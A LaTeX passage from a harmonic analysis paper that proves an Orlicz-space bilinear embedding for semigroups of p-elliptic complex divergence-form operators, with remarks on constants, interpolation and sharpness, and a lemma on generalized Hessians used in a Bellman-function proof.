\lambda(A) & := \mathop{\textup{ess\,inf}}_{x\in\mathbb{R}^d} \min_{\substack{\xi\in\mathbb{C}^d,\\ |\xi|=1}} \mathop{\textup{Re}}\big\langle A(x)\xi,\xi\big\rangle_{\mathbb{C}^d} > 0. \label{eq:condlittlel}
\end{align}
Define the corresponding \emph{divergence-form operator} formally as
\[ L_A f := -\mathop{\textup{div}}(A\nabla f). \]
More precisely, $L_A$ is defined via duality:
\begin{equation}\label{eq:sesqform}
\langle L_A f, g \rangle_{\textup{L}^2(\mathbb{R}^d)} = \int_{\mathbb{R}^d} \langle A(x)\nabla f(x), \nabla g(x) \rangle_{\mathbb{C}^d} \,\textup{d}x
\end{equation}
and its domain $\mathcal{D}(L_A)$ is the set of all functions $f$ from the Sobolev space $\textup{W}^{1,2}(\mathbb{R}^d)$ for which the right hand side of \eqref{eq:sesqform}, regarded as an antilinear functional in $g\in\textup{W}^{1,2}(\mathbb{R}^d)$, extends boundedly to the whole $\textup{L}^2(\mathbb{R}^d)$.
We will consider the operator semigroup on $\textup{L}^2(\mathbb{R}^d)$ generated by $-L_A$:
\[ T^A_t := \exp(-t L_A) \quad\text{for } t\in\langle0,\infty\rangle. \]
Carbonaro and Dragi\v{c}evi\'{c} \cite{CarbonaroDragicevic20} introduced the property of \emph{$p$-ellipticity} of $A$ for $p\in[1,\infty]$ by additionally requiring:
\begin{equation}\label{eq:condpellip}
\Delta_{p}(A) := \mathop{\textup{ess\,inf}}_{x\in\mathbb{R}^d} \min_{\substack{\xi\in\mathbb{C}^d\\ |\xi|=1}} \mathop{\textup{Re}}\Big\langle A(x)\xi, \ \xi + \Big|1-\frac{2}{p}\Big| \,\overline{\xi} \Big\rangle_{\mathbb{C}^d} > 0.
\end{equation}
An equivalent condition was discovered independently by Dindo\v{s} and Pipher \cite{DindosPipher19} as a strengthening of the earlier condition introduced by Cialdea and Maz'ya \cite{CialdeaMazya05}.
It is also easy to check that for $2\leqslant p_1\leqslant p_2<\infty$ we have
\[ \lambda(A) = \Delta_2(A) \geqslant \Delta_{p_1}(A) \geqslant \Delta_{p_2}(A) \]
and that the following inclusions hold:
\begin{align}
& {\arraycolsep=2pt
\left\{\begin{array}{c}\text{elliptic}\\ \text{matrices}\end{array}\right\}
= \left\{\begin{array}{c}\text{$2$-elliptic}\\ \text{matrices}\end{array}\right\}
\supseteq \left\{\begin{array}{c}\text{$p_1$-elliptic}\\ \text{matrices}\end{array}\right\}
} \nonumber \\
& {\arraycolsep=2pt
\supseteq \left\{\begin{array}{c}\text{$p_2$-elliptic}\\ \text{matrices}\end{array}\right\}
\supseteq \left\{\begin{array}{c}\text{matrices that are $p$-elliptic}\\ \text{for every }p\in[2,\infty)\end{array}\right\}
= \left\{\begin{array}{c}\text{real elliptic}\\ \text{matrices}\end{array}\right\};
} \label{eq:pellinclusions}
\end{align}
see \cite[Section~5.3]{CarbonaroDragicevic20}.
Therefore, the notion of $p$-ellipticity bridges the gap between real and complex elliptic matrix functions.
Motivated by \eqref{eq:condpellip}, for a complex matrix function $A$ and a Young function $\Phi$ we can define
\begin{equation}\label{eq:condPhi1}
\Delta_{\Phi}(A) := \mathop{\textup{ess\,inf}}_{x\in\mathbb{R}^d} \inf_{\substack{\xi\in\mathbb{C}^d,\,|\xi|=1\\ s\in(0,\infty)}} \mathop{\textup{Re}}\Big\langle A(x)\xi, \ \xi + \frac{s\Phi''(s)-\Phi'(s)}{s\Phi''(s)+\Phi'(s)} \,\overline{\xi} \Big\rangle_{\mathbb{C}^d}.
\end{equation}
Indeed, \eqref{eq:condPhi1} reduces to \eqref{eq:condpellip} when $\Phi(s)=s^p/p$.
However, the corresponding notion of \emph{$\Phi$-ellipticity} does not lead to a novel concept for general $\Phi$, because it reduces to the mere $p$-ellipticity for an appropriate number $p$.
More precisely, $\Delta_{\Phi}(A) = \Delta_{p}(A)$ for the unique $p\in[2,\infty]$ such that
\[ \sup_{s\in(0,\infty)} \Big|\frac{s\Phi''(s)-\Phi'(s)}{s\Phi''(s)+\Phi'(s)}\Big| = 1-\frac{2}{p}. \]
Moreover, if $\Phi$ is as in Subsection~\ref{subsec:Orlicz}, then the number $p$ simplifies as
\begin{equation}\label{eq:defofexpp}
p = \sup_{s\in(0,\infty)}\frac{s\Phi''(s)}{\Phi'(s)} + 1.
\end{equation}
We further recognize it as $\tilde{M}+1$, with the number $\tilde{M}$ given in \eqref{eq:quantities2}.
There is another motivational line of reasoning naturally leading to the quantity \eqref{eq:defofexpp}.
Cialdea and Maz'ya \cite{CialdeaMazya05} studied \emph{$\textup{L}^p$-dissipativity} (see \cite[Definition~1]{CialdeaMazya05}) of the sesquilinear form \eqref{eq:sesqform}, which is equivalent to contractivity of the semigroup $(T_t^A)_{t>0}$ on $\textup{L}^{p}(\mathbb{R}^d)$; see \cite{CialdeaMazya05} or \cite{CarbonaroDragicevic20}.
In the particular case when $\mathop{\textup{Im}}A$ is symmetric, their result \cite[Theorem~5]{CialdeaMazya05} claims that these are further equivalent to the condition
\begin{equation}\label{eq:CMLp}
|p-2| \big|\langle \mathop{\textup{Im}}A(x)\xi,\xi\rangle_{\mathbb{R}^d}\big| \leqslant 2(p-1)^{1/2} \langle \mathop{\textup{Re}}A(x)\xi,\xi\rangle_{\mathbb{R}^d}
\end{equation}
for $x,\xi\in\mathbb{R}^d$.
Much more recently, Cialdea and Maz'ya \cite{CialdeaMazya21} introduced the concept of \emph{functional dissipativity} with respect to a general $\textup{C}^2$ function $\Phi$. Under the same assumption that $\mathop{\textup{Im}}A$ is symmetric, their result \cite[Theorem~1]{CialdeaMazya21} characterizes this property via the condition
\begin{equation}\label{eq:CMfunctional}
\Big|\Phi''(s)-\frac{\Phi'(s)}{s}\Big| \big|\langle \mathop{\textup{Im}}A(x)\xi,\xi\rangle_{\mathbb{R}^d}\big| \leqslant 2\Big(\frac{\Phi'(s)\Phi''(s)}{s}\Big)^{1/2} \langle \mathop{\textup{Re}}A(x)\xi,\xi\rangle_{\mathbb{R}^d}
\end{equation}
for all $x,\xi\in\mathbb{R}^d$ and $s\in(0,\infty)$.
To avoid any possible confusion, let us mention that the paper \cite{CialdeaMazya21} prefers to formulate \eqref{eq:CMfunctional} in terms of $\varphi(s)=\Phi'(s)/s$.
Clearly, when $\mathop{\textup{Im}}A$ is nontrivial, \eqref{eq:CMfunctional} reduces to \eqref{eq:CMLp} for $p$ such that
\[ \sup_{s\in(0,\infty)} \Big(\frac{s}{\Phi'(s)\Phi''(s)}\Big)^{1/2} \Big|\Phi''(s)-\frac{\Phi'(s)}{s}\Big| = (p-1)^{-1/2} |p-2|; \]
also see \cite[Corollary~5]{CialdeaMazya21}.
When $\Phi$ is as in Subsection~\ref{subsec:Orlicz} and $p\in[2,\infty)$, the last equality simplifies precisely as \eqref{eq:defofexpp} again.
\subsection{The main result}
\label{subsec:formulationresults}
Finally, we can state the desired estimate. Recall quantities \eqref{eq:quantities1}--\eqref{eq:quantities4} from Subsection~\ref{subsec:Orlicz} and definitions \eqref{eq:condbigl}, \eqref{eq:condlittlel}, \eqref{eq:condpellip} from Subsection~\ref{subsec:divform}.
\begin{theorem}\label{thm:mainthm}
Suppose that $\Phi$ and $\Psi$ satisfy conditions \eqref{eq:PhiPsicond1}--\eqref{eq:Phicond3} and let $A,B\colon\mathbb{R}^d\to\mathbb{C}^{d\times d}$ be $p$-elliptic matrix functions with $\textup{L}^\infty$ coefficients, where $p=\tilde{M}+1$, i.e., $p$ is given by \eqref{eq:defofexpp}.
Denote
\begin{equation}\label{eq:cabconst}
C_{p}(A,B) := \frac{\max\{\Lambda(A),\Lambda(B)\}}{\min\{\Delta_{p}(A),\Delta_{p}(B)\} \min\{\lambda(A),\lambda(B)\}}
\end{equation}
and
\begin{equation}\label{eq:dppconst}
D(\Phi,\Psi) := \max\Big\{1,\frac{M}{\tilde{m}}\Big\} \Big(\frac{\tilde{m}}{\tilde{M}} \frac{\tilde{M}-1}{\tilde{m}-1}\Big)^{1/2} .
\end{equation}
Then an Orlicz-space bilinear embedding,
\begin{equation}\label{eq:bilinorl}
\int_{0}^{\infty} \int_{\mathbb{R}^d} |(\nabla T^A_t f)(x)| \,|(\nabla T^B_t g)(x)| \,\textup{d}x \,\textup{d}t
\leqslant 40 \,C_{p}(A,B) \,D(\Phi,\Psi) \,\|f\|_{\Phi} \|g\|_{\Psi},
\end{equation}
holds for any complex functions $f,g\in\textup{C}_{c}^{\infty}(\mathbb{R}^d)$.
\end{theorem}
A few comments on Theorem~\ref{thm:mainthm} could help to better orient the reader.
\begin{remark}[Constants]
Quantity \eqref{eq:dppconst} depends on $\Phi$ and $\Psi$ only, while \eqref{eq:cabconst} depends on the ellipticity constants of $A$ and $B$ and on the exponent $p$, which, in turn, depends only on $\Phi$ and $\Psi$ again. The constant in \eqref{eq:bilinorl} depends on the ambient dimension $d$ in no other way than through these two quantities, so we can say that this estimate is \emph{dimension-free}. This is a desired property of all bilinear embeddings.
\end{remark}
\begin{remark}[Real case]
If $A$ and $B$ have real coefficients, then the $p$-ellipticity condition is satisfied automatically; recall \eqref{eq:pellinclusions}. We are not in a position to list the vast literature on estimates for real elliptic divergence-form operators, including many singular integral estimates as their special cases; see the references in \cite{CarbonaroDragicevic20,CarbonaroDragicevicKovacSkreb21}. The emphasis of the present paper is on the complex case.
\end{remark}
\begin{remark}[Duality]
\label{rem:duality}
Since $\Phi$ and $\Psi$ are doubling, the product $\|f\|_{\Phi} \|g\|_{\Psi}$ on the right hand side of \eqref{eq:bilinorl} can be rewritten as either $\|f\|_{\Phi} \|g\|_{\Phi}^\ast$ or $\|f\|_{\Psi}^\ast \|g\|_{\Psi}$. That way \eqref{eq:bilinorl} can sometimes be viewed as an estimate on a single Orlicz space, either $\textup{L}^{\Phi}(\mathbb{R}^d)$ or $\textup{L}^{\Psi}(\mathbb{R}^d)$; see \cite{RaoRen91,HarjulehtoHasto19} for the definition of these function spaces.
\end{remark}
\begin{remark}[Applicability]
Estimate \eqref{eq:bilinorl} is a generalization of \cite[Theorem~1.1]{CarbonaroDragicevic20} by Carbonaro and Dragi\v{c}evi\'{c}, which was concerned with $\textup{L}^p$ and $\textup{L}^q$ norms only, i.e., with $\Phi$ and $\Psi$ given by \eqref{eq:LpLq} in Example~\ref{ex:Lpnorms}.
Indeed, the constant \eqref{eq:cabconst} is the same one appearing in their theorem, just formulated in a slightly different manner. Also, in the particular case \eqref{eq:LpLq} we easily compute \eqref{eq:dppconst} as
\[ D(\Phi,\Psi) = \frac{p}{p-1} = q \leqslant 2, \]
so our constant in \eqref{eq:bilinorl} becomes the same one as in \cite{CarbonaroDragicevic20}, up to a factor $4$.
Theorem~\ref{thm:mainthm} also applies to the other examples given in Subsection~\ref{subsec:Orlicz}. In the case of Example~\ref{ex:LrlogL} the exact exponent $p$ is some number from $[r,r+1)$, so one can safely replace it by $r+1$. In Example~\ref{ex:powers1}, just as in Example~\ref{ex:Lpnorms}, this exponent is exactly the eponymous parameter $p$, while in Example~\ref{ex:powers2} it is equal to $q/(q-1)$, the conjugate exponent of $q$.
\end{remark}
\begin{remark}[Dehomogenization]
\label{rem:dehomogenization}
It is easy to see that estimate \eqref{eq:bilinorl} follows from (what could be called) a Young-function bilinear embedding,
\begin{align}
& \int_{0}^{\infty} \int_{\mathbb{R}^d} |(\nabla T^A_t f)(x)| \,|(\nabla T^B_t g)(x)| \,\textup{d}x \,\textup{d}t \nonumber \\
& \leqslant 20 \,C_{p}(A,B) \,D(\Phi,\Psi) \Big( \int_{\mathbb{R}^d} \Phi(|f(x)|) \,\textup{d}x + \int_{\mathbb{R}^d} \Psi(|g(x)|) \,\textup{d}x \Big). \label{eq:bilinorl2}
\end{align}
Indeed, take arbitrary functions $f,g$ and arbitrary $\alpha,\beta\in(0,\infty)$ such that
\[ \int_{\mathbb{R}^d} \Phi\Big(\frac{|f(x)|}{\alpha}\Big) \,\textup{d}x \leqslant 1, \quad \int_{\mathbb{R}^d} \Psi\Big(\frac{|g(x)|}{\beta}\Big) \,\textup{d}x \leqslant 1. \]
By applying \eqref{eq:bilinorl2} to $f/\alpha$ and $g/\beta$ and using homogeneity of the left hand side, we conclude
\[ \int_{0}^{\infty} \int_{\mathbb{R}^d} |(\nabla T^A_t f)(x)| \,|(\nabla T^B_t g)(x)| \,\textup{d}x \,\textup{d}t
\leqslant 40 \,C_{p}(A,B) \,D(\Phi,\Psi) \,\alpha \beta. \]
Taking infima over all such $\alpha$ and $\beta$ we derive \eqref{eq:bilinorl}.
Thus, we only need to establish \eqref{eq:bilinorl2}.
Advantages of such ``dehomogenization'' for proofs using the Bellman function technique were elaborated by Nazarov and Treil \cite[Section~8.1]{NazarovTreil96}, who called it the ``H\"{o}lder vs Young'' trick. It is not at all lossy (up to unimportant constants) in the case of the $\textup{L}^p$ spaces, while here it simply seems to be the most natural thing to use.
\end{remark}
\begin{remark}[Interpolation]
In relation with Remark~\ref{rem:duality}, many particular cases and weaker forms of estimate \eqref{eq:bilinorl} are immediate consequences of \cite[Theorem~1.1]{CarbonaroDragicevic20}. Let us again view \eqref{eq:bilinorl} as a bound for a sublinear operator on a single Orlicz space $\textup{L}^{\Phi}(\mathbb{R}^d)$.
The $p$-ellipticity assumption guarantees $\textup{L}^p\to\textup{L}^p$ and $\textup{L}^{p'}\to\textup{L}^{p'}$ estimates. A collection of Orlicz spaces $\textup{L}^\Phi$ is ``squeezed between'' $\textup{L}^p$ and $\textup{L}^{p'}$, so that certain interpolation arguments can cheaply provide the estimate $\textup{L}^{\Phi}\to\textup{L}^{\Phi}$. However, these arguments cannot recover Theorem~\ref{thm:mainthm} in its full generality.
Indeed, \emph{real} (i.e., Marcinkiewicz-type) Orlicz-space interpolation \cite{Zygmund56,Torchinsky76,Cianchi98} applies as soon as the Young function $\Phi$ is ``sufficiently far'' from the powers $s\mapsto s^p$ and $s\mapsto s^{p'}$.
Cianchi \cite{Cianchi98} provided a definite result on the topic and gave a precise description of all Young functions $\Phi$ such that (what is nowadays usually called) restricted weak type $(p,p)$ and $(p',p')$ bounds generally imply the strong bound $\textup{L}^{\Phi}\to\textup{L}^{\Phi}$. Just a single necessary condition (out of many) from his paper in our case reads
\begin{equation}\label{eq:Cianchicond}
\int_1^{\infty} \frac{\Phi(s)}{s^{p+1}} \,\textup{d}s < \infty.
\end{equation}
Note that \eqref{eq:Cianchicond} is not satisfied for \eqref{eq:spsr}, even if we only take $\varepsilon=1$, so Marcinkiewicz-type interpolation cannot give our estimate \eqref{eq:bilinorl} in the case of Example~\ref{ex:powers1}.
Moreover, any real interpolation argument one could think of would give a constant that necessarily blows up as $\varepsilon\to0^+$. On the other hand, we see that \eqref{eq:cabconst} and \eqref{eq:dppconst} are independent of $\varepsilon$, and so is our main estimate.
Strictly speaking, \emph{complex} Orlicz-space interpolation \cite{Kreinetal82,KarlovichMaligranda01} is not applicable simply because the left hand side of \eqref{eq:bilinorl} is only bi-sublinear and not bilinear in $f$ and $g$. Various linearization tricks on $\mathbb{C}^d$ would necessarily blow up the constant as $d\to\infty$. However, in many applications of bilinear embeddings we need to control a bilinear form, which, in turn, often appears by dualizing a linear operator $\mathcal{L}$ as $(f,g)\mapsto\langle \mathcal{L}f, g \rangle_{\textup{L}^2(\mathbb{R}^d)}$. Then Orlicz-space interpolation of linear operators can be useful, albeit still with certain limitations; see \cite[Theorem~5.1]{KarlovichMaligranda01}. Nevertheless, even in particular situations when complex interpolation does apply, it is still interesting to have a direct proof of the estimate $\textup{L}^{\Phi}\to\textup{L}^{\Phi}$.
\end{remark}
\begin{remark}[Sharpness]
One might initially feel dissatisfied by the fact that Theorem~\ref{thm:mainthm} does not apply to any Orlicz spaces that are ``close'' to $\textup{L}^1(\mathbb{R}^d)$ or $\textup{L}^{\infty}(\mathbb{R}^d)$, as such endpoint estimates are often interesting in harmonic analysis.
However, here we have every right to question the mere possibility of endpoint estimates, because already a more basic result on semigroups \cite{CialdeaMazya21} fails without the very restrictive assumption \eqref{eq:CMfunctional}, which transforms into \eqref{eq:CMLp} and \eqref{eq:defofexpp} for a finite $p$.
Indeed, our main estimate \eqref{eq:bilinorl} does not allow such endpoint generalizations either. Let us give a sketchy argument to support this claim.
Suppose that $\textup{L}^\Phi$ lies ``at the end'' of the $\textup{L}^p$ range for $p\in[2,\infty)$ in the sense that all these $\textup{L}^p$ spaces are interpolation spaces for linear operators between $\textup{L}^2$ and $\textup{L}^\Phi$.
Also suppose that an estimate of type \eqref{eq:bilinorl} holds for this Young function $\Phi$ and for the very special matrix-functions
\[ A=e^{i\phi}I_d,\quad B=e^{-i\phi}I_d,\quad \phi\in(-\pi/2,\pi/2). \]
Combining Remark~\ref{rem:duality} with considerations from \cite[Section~1.6]{CarbonaroDragicevic20}, we see that this estimate would imply
\[ \sup_{t\in(0,\infty)} \big\| \exp(t e^{i\phi} \Delta_d) \big\|_{\textup{L}^\Phi\to\textup{L}^\Phi} \leqslant C_{\Phi,\phi}, \]
where $\Delta_d$ is the $d$-dimensional Laplacian and $C_{\Phi,\phi}$ is a finite constant.
Interpolation gives
\begin{equation}\label{eq:Lpsharpness}
\sup_{t\in(0,\infty)} \big\| \exp(t e^{i\phi} \Delta_d) \big\|_{\textup{L}^p\to\textup{L}^p} \leqslant C_{p,\phi}
\end{equation}
for every $p\in[2,\infty)$ with a constant $C_{p,\phi}$ depending on $p$ and $\phi$, but independent of the ambient dimension $d$.
However, \cite[Theorem~6.2]{CarbonaroDragicevic20} evaluates the left hand side of \eqref{eq:Lpsharpness} and shows that it blows up as $d\to\infty$ whenever $|\phi|>\arccos|1-2/p|$.
Whichever conditions we impose on our complex matrix functions in order to have a desired Orlicz-space estimate, we expect them to be satisfied at least for some $\phi\neq0$, but then we arrive at a contradiction by choosing a sufficiently large $p$.
A similar argument applies to Orlicz spaces $\textup{L}^\Psi$ that lie at the left end of the $\textup{L}^p$ range for $p\in(1,2]$.
\end{remark}
\begin{remark}[Bilinear vs.\@ multilinear]
Let us conclude with a remark that this paper is very bi-(sub)li\-ne\-ar in nature. It benefited from concentrating on estimates that simultaneously involve two complementary Young functions, $\Phi$ and $\Psi$.
A recent paper by Carbonaro, Dragi\v{c}evi\'{c}, and the present authors \cite{CarbonaroDragicevicKovacSkreb21} studied trilinear embeddings in $\textup{L}^p$ spaces.
Orlicz-space multi-(sub)li\-ne\-ar extensions do not come up naturally; it is not even clear how to formulate any such estimates.
\end{remark}
\section{Generalized Hessians}
\label{sec:Hessians}
A quantity introduced by Carbonaro and Dragi\v{c}evi\'{c} in \cite{CarbonaroDragicevic20} will play a crucial role later in the proof.
For $\mathfrak{X}\colon\mathbb{C}^2\to[0,\infty)$, $A,B\in\mathbb{C}^{d\times d}$, $(u,v)\in\mathbb{C}^2$, and $(\zeta,\eta)\in(\mathbb{C}^d)^2$
we define the \emph{generalized Hessian} of $\mathfrak{X}$ with respect to $A,B$,
\[ H^{A,B}_{\mathfrak{X}}[(u,v);(\zeta,\eta)], \]
as the standard inner product of
\[ \big(\textup{Hess}(\mathfrak{X};(u,v)) \otimes I_{d}\big)
\begin{bmatrix}\mathop{\textup{Re}}\zeta \\ \mathop{\textup{Im}}\zeta \\ \mathop{\textup{Re}}\eta \\ \mathop{\textup{Im}}\eta \end{bmatrix} \in(\mathbb{R}^d)^4 \]
and
\[ \begin{bmatrix}\mathop{\textup{Re}}A & -\mathop{\textup{Im}}A & \mathbf{0} & \mathbf{0} \\ \mathop{\textup{Im}}A & \mathop{\textup{Re}}A & \mathbf{0} & \mathbf{0} \\
\mathbf{0} & \mathbf{0} & \mathop{\textup{Re}}B & -\mathop{\textup{Im}}B \\ \mathbf{0} & \mathbf{0} & \mathop{\textup{Im}}B & \mathop{\textup{Re}}B \end{bmatrix}
\begin{bmatrix}\mathop{\textup{Re}}\zeta \\ \mathop{\textup{Im}}\zeta \\ \mathop{\textup{Re}}\eta \\ \mathop{\textup{Im}}\eta \end{bmatrix} \in(\mathbb{R}^d)^4. \]
Here one has to interpret $\textup{Hess}(\mathfrak{X};(u,v))$ as the $4\times 4$ real Hessian matrix of the function
\[ \mathbb{R}^4\to\mathbb{R}, \quad (u_r,u_i,v_r,v_i) \mapsto \mathfrak{X}(u_r+iu_i,v_r+iv_i). \]
Operation $\otimes$ is the \emph{Kronecker} (a.k.a.\@ \emph{tensor}) \emph{product} of matrices.
We also introduce
\[ \widetilde{H}^{A,B}_{\mathfrak{X}}[(u,v);(\zeta,\eta)] := H^{A,B}_{\mathfrak{X}}\Big[(u,v);\Big(\frac{u}{|u|}\zeta,\frac{v}{|v|}\eta\Big)\Big], \]
as the replacements
\begin{equation}\label{eq:replacements}
\zeta\rightarrow\frac{u}{|u|}\zeta,\quad \eta\rightarrow\frac{v}{|v|}\eta,
\end{equation}
will later significantly simplify numerous expressions.
The following two lemmata are much in the spirit of computations from \cite{CarbonaroDragicevic20} and \cite{CarbonaroDragicevicKovacSkreb21}. However, in those papers properties of power-functions $s\mapsto |s|^p$ are much appreciated, while here we will be dealing with rather general nonlinear functions.
\begin{lemma}\label{lm:hessians}
If we define
\begin{align*}
\mathfrak{X}_1(u,v) & := P(|u|) + Q(|v|), \\
\mathfrak{X}_2(u,v) & := |u|^2 R(|v|)
\end{align*}
for some $\textup{C}^2$ functions $P,Q,R\colon(0,\infty)\to\mathbb{R}$, then the following formulae hold for any $A,B\in\mathbb{C}^{d\times d}$, $(u,v)\in(\mathbb{C}\setminus\{0\})^2$, and $(\zeta,\eta)\in(\mathbb{C}^d)^2$:
{\allowdisplaybreaks
\begin{align*}
& \widetilde{H}^{A,B}_{\mathfrak{X}_1}[(u,v);(\zeta,\eta)] \\
& = \mathop{\textup{Re}}\bigg\langle A\zeta, \ \frac{1}{2}\Big(P''(|u|)+\frac{P'(|u|)}{|u|}\Big) \zeta + \frac{1}{2}\Big(P''(|u|)-\frac{P'(|u|)}{|u|}\Big) \bar{\zeta} \bigg\rangle_{\mathbb{C}^d} \\
& \quad + \mathop{\textup{Re}}\bigg\langle B\eta, \ \frac{1}{2}\Big(Q''(|v|)+\frac{Q'(|v|)}{|v|}\Big) \eta + \frac{1}{2}\Big(Q''(|v|)-\frac{Q'(|v|)}{|v|}\Big) \bar{\eta} \bigg\rangle_{\mathbb{C}^d}, \\
& \widetilde{H}^{A,B}_{\mathfrak{X}_2}[(u,v);(\zeta,\eta)] \\
& = \mathop{\textup{Re}}\Big\langle A\zeta, \ 2R(|v|) \zeta + 2|u| R'(|v|) \mathop{\textup{Re}}\eta \Big\rangle_{\mathbb{C}^d} \\
& \quad + \mathop{\textup{Re}}\bigg\langle B\eta, \ 2|u| R'(|v|) \mathop{\textup{Re}}\zeta
+ |u|^2 R''(|v|) \mathop{\textup{Re}}\eta + i |u|^2 \frac{R'(|v|)}{|v|} \mathop{\textup{Im}}\eta
\bigg\rangle_{\mathbb{C}^d}.
\end{align*}}
\end{lemma}
\begin{proof}
In the case of $\mathfrak{X}_1$ the Hessian matrix $\textup{Hess}(\mathfrak{X}_1;(u,v))$ in the variables $u_r,u_i,v_r,v_i$ is easily evaluated to be the direct sum of matrices
\[ \begin{bmatrix}
P''(|u|)\frac{u_r^2}{|u|^2} + \frac{P'(|u|)}{|u|}\frac{u_i^2}{|u|^2} & (P''(|u|)-\frac{P'(|u|)}{|u|})\frac{u_r u_i}{|u|^2} \\
(P''(|u|)-\frac{P'(|u|)}{|u|})\frac{u_r u_i}{|u|^2} & \frac{P'(|u|)}{|u|}\frac{u_r^2}{|u|^2} + P''(|u|)\frac{u_i^2}{|u|^2}
\end{bmatrix} \]
and
\[ \begin{bmatrix}
Q''(|v|)\frac{v_r^2}{|v|^2} + \frac{Q'(|v|)}{|v|}\frac{v_i^2}{|v|^2} & (Q''(|v|)-\frac{Q'(|v|)}{|v|})\frac{v_r v_i}{|v|^2} \\
(Q''(|v|)-\frac{Q'(|v|)}{|v|})\frac{v_r v_i}{|v|^2} & \frac{Q'(|v|)}{|v|}\frac{v_r^2}{|v|^2} + Q''(|v|)\frac{v_i^2}{|v|^2}
\end{bmatrix}. \]
It is then tensored with the identity matrix $I_d$, multiplied with the column-vector
\begin{equation}\label{eq:auxcolvec1}
\begin{bmatrix} \mathop{\textup{Re}}\zeta & \mathop{\textup{Im}}\zeta & \mathop{\textup{Re}}\eta & \mathop{\textup{Im}}\eta \end{bmatrix}^{\textup{T}},
\end{equation}
and the result is interpreted as a vector in $(\mathbb{C}^d)^2$, rather than in $(\mathbb{R}^d)^4$:
\begin{align*}
& \begin{bmatrix}
\frac{u}{|u|} P''(|u|) \mathop{\textup{Re}}(\frac{\bar{u}}{|u|}\zeta) + i\frac{u}{|u|} \frac{P'(|u|)}{|u|} \mathop{\textup{Im}}(\frac{\bar{u}}{|u|}\zeta) \\
\frac{v}{|v|} Q''(|v|) \mathop{\textup{Re}}(\frac{\bar{v}}{|v|}\eta) + i\frac{v}{|v|} \frac{Q'(|v|)}{|v|} \mathop{\textup{Im}}(\frac{\bar{v}}{|v|}\eta)
\end{bmatrix} \\
& = \begin{bmatrix} \frac{u}{|u|} I_d & \mathbf{0} \\ \mathbf{0} & \frac{v}{|v|} I_d \end{bmatrix}
\begin{bmatrix}
\frac{1}{2}(P''(|u|) + \frac{P'(|u|)}{|u|}) (\frac{\bar{u}}{|u|}\zeta) +
\frac{1}{2}(P''(|u|) - \frac{P'(|u|)}{|u|}) \overline{(\frac{\bar{u}}{|u|}\zeta)} \\
\frac{1}{2}(Q''(|v|) + \frac{Q'(|v|)}{|v|}) (\frac{\bar{v}}{|v|}\eta) +
\frac{1}{2}(Q''(|v|) - \frac{Q'(|v|)}{|v|}) \overline{(\frac{\bar{v}}{|v|}\eta)}
\end{bmatrix} .
\end{align*}
Taking the inner product
\[ \langle\cdot,\cdot\rangle_{(\mathbb{R}^d)^4} = \mathop{\textup{Re}} \langle\cdot,\cdot\rangle_{(\mathbb{C}^d)^2} \]
with the vector
\begin{equation}\label{eq:auxcolvec2}
\begin{bmatrix} A & \mathbf{0} \\ \mathbf{0} & B \end{bmatrix} \begin{bmatrix} \zeta \\ \eta \end{bmatrix}
= \begin{bmatrix} A \zeta \\ B \eta \end{bmatrix}
= \begin{bmatrix} \frac{u}{|u|} I_d & \mathbf{0} \\ \mathbf{0} & \frac{v}{|v|} I_d \end{bmatrix}
\begin{bmatrix} A (\frac{\bar{u}}{|u|}\zeta) \\ B (\frac{\bar{v}}{|v|}\eta) \end{bmatrix}
\end{equation}
we obtain the formula for $H^{A,B}_{\mathfrak{X}_1}[(u,v);(\zeta,\eta)]$.
It remains to change the variables as in \eqref{eq:replacements}.
In the case of $\mathfrak{X}_2$ the Hessian matrix $\textup{Hess}(\mathfrak{X}_2;(u,v))$ is
\[ \begin{bmatrix}
2R(|v|)
& 0
& 2 u_r R'(|v|)\frac{v_r}{|v|}
& 2 u_r R'(|v|)\frac{v_i}{|v|} \\
0
& 2R(|v|)
& 2 u_i R'(|v|)\frac{v_r}{|v|}
& 2 u_i R'(|v|)\frac{v_i}{|v|} \\
2 u_r R'(|v|)\frac{v_r}{|v|}
& 2 u_i R'(|v|)\frac{v_r}{|v|}
& |u|^2 (R''(|v|)\frac{v_r^2}{|v|^2} + \frac{R'(|v|)}{|v|}\frac{v_i^2}{|v|^2})
& |u|^2 (R''(|v|)-\frac{R'(|v|)}{|v|})\frac{v_r v_i}{|v|^2} \\
2 u_r R'(|v|)\frac{v_i}{|v|}
& 2 u_i R'(|v|)\frac{v_i}{|v|}
& |u|^2 (R''(|v|)-\frac{R'(|v|)}{|v|})\frac{v_r v_i}{|v|^2}
& |u|^2 (\frac{R'(|v|)}{|v|}\frac{v_r^2}{|v|^2} + R''(|v|)\frac{v_i^2}{|v|^2})
\end{bmatrix}. \]
This matrix tensored with $I_d$ and multiplied with the column-vector \eqref{eq:auxcolvec1} gives:
\[ \begin{bmatrix} \frac{u}{|u|} I_d & \mathbf{0} \\ \mathbf{0} & \frac{v}{|v|} I_d \end{bmatrix}
\begin{bmatrix}
2R(|v|) \frac{\bar{u}}{|u|}\zeta + 2 |u| R'(|v|) \mathop{\textup{Re}}(\frac{\bar{v}}{|v|}\eta) \\
2 |u| R'(|v|) \mathop{\textup{Re}}(\frac{\bar{u}}{|u|}\zeta) + |u|^2 R''(|v|) \mathop{\textup{Re}}(\frac{\bar{v}}{|v|}\eta) + i |u|^2 \frac{R'(|v|)}{|v|} \mathop{\textup{Im}}(\frac{\bar{v}}{|v|}\eta)
\end{bmatrix}. \]
The desired formula follows by taking the inner product with \eqref{eq:auxcolvec2} and substituting \eqref{eq:replacements}.
\end{proof}
\section{The Bellman function}
\label{sec:Bellmanfn}
Suppose that $\Phi$ and $\Psi$ are as in the formulation of Theorem~\ref{thm:mainthm}, i.e., they fulfil conditions \eqref{eq:PhiPsicond1}--\eqref{eq:Phicond3} and, thus, also conditions/properties \eqref{eq:bijections}--\eqref{eq:intPsiupper}.
In particular, by recalling \eqref{eq:bijections} we observe that the surface
\[ \mathcal{Y} := \{(u,v)\in\mathbb{C}^2 : |v|=\Phi'(|u|)\} = \{(u,v)\in\mathbb{C}^2 : |u|=\Psi'(|v|)\} \]
splits its complement into two regions: the ``lower'' region
\[ \mathcal{Y}_{\downarrow} := \{(u,v)\in\mathbb{C}^2 : |v|<\Phi'(|u|)\} = \{(u,v)\in\mathbb{C}^2 : |u|>\Psi'(|v|)\} \]
and the ``upper'' region
\[ \mathcal{Y}_{\uparrow} := \{(u,v)\in\mathbb{C}^2 : |v|>\Phi'(|u|)\} = \{(u,v)\in\mathbb{C}^2 : |u|<\Psi'(|v|)\}. \]
Also suppose that $A,B\colon\mathbb{R}^d\to\mathbb{C}^{d\times d}$ are matrix functions as in the statement of Theorem~\ref{thm:mainthm}.
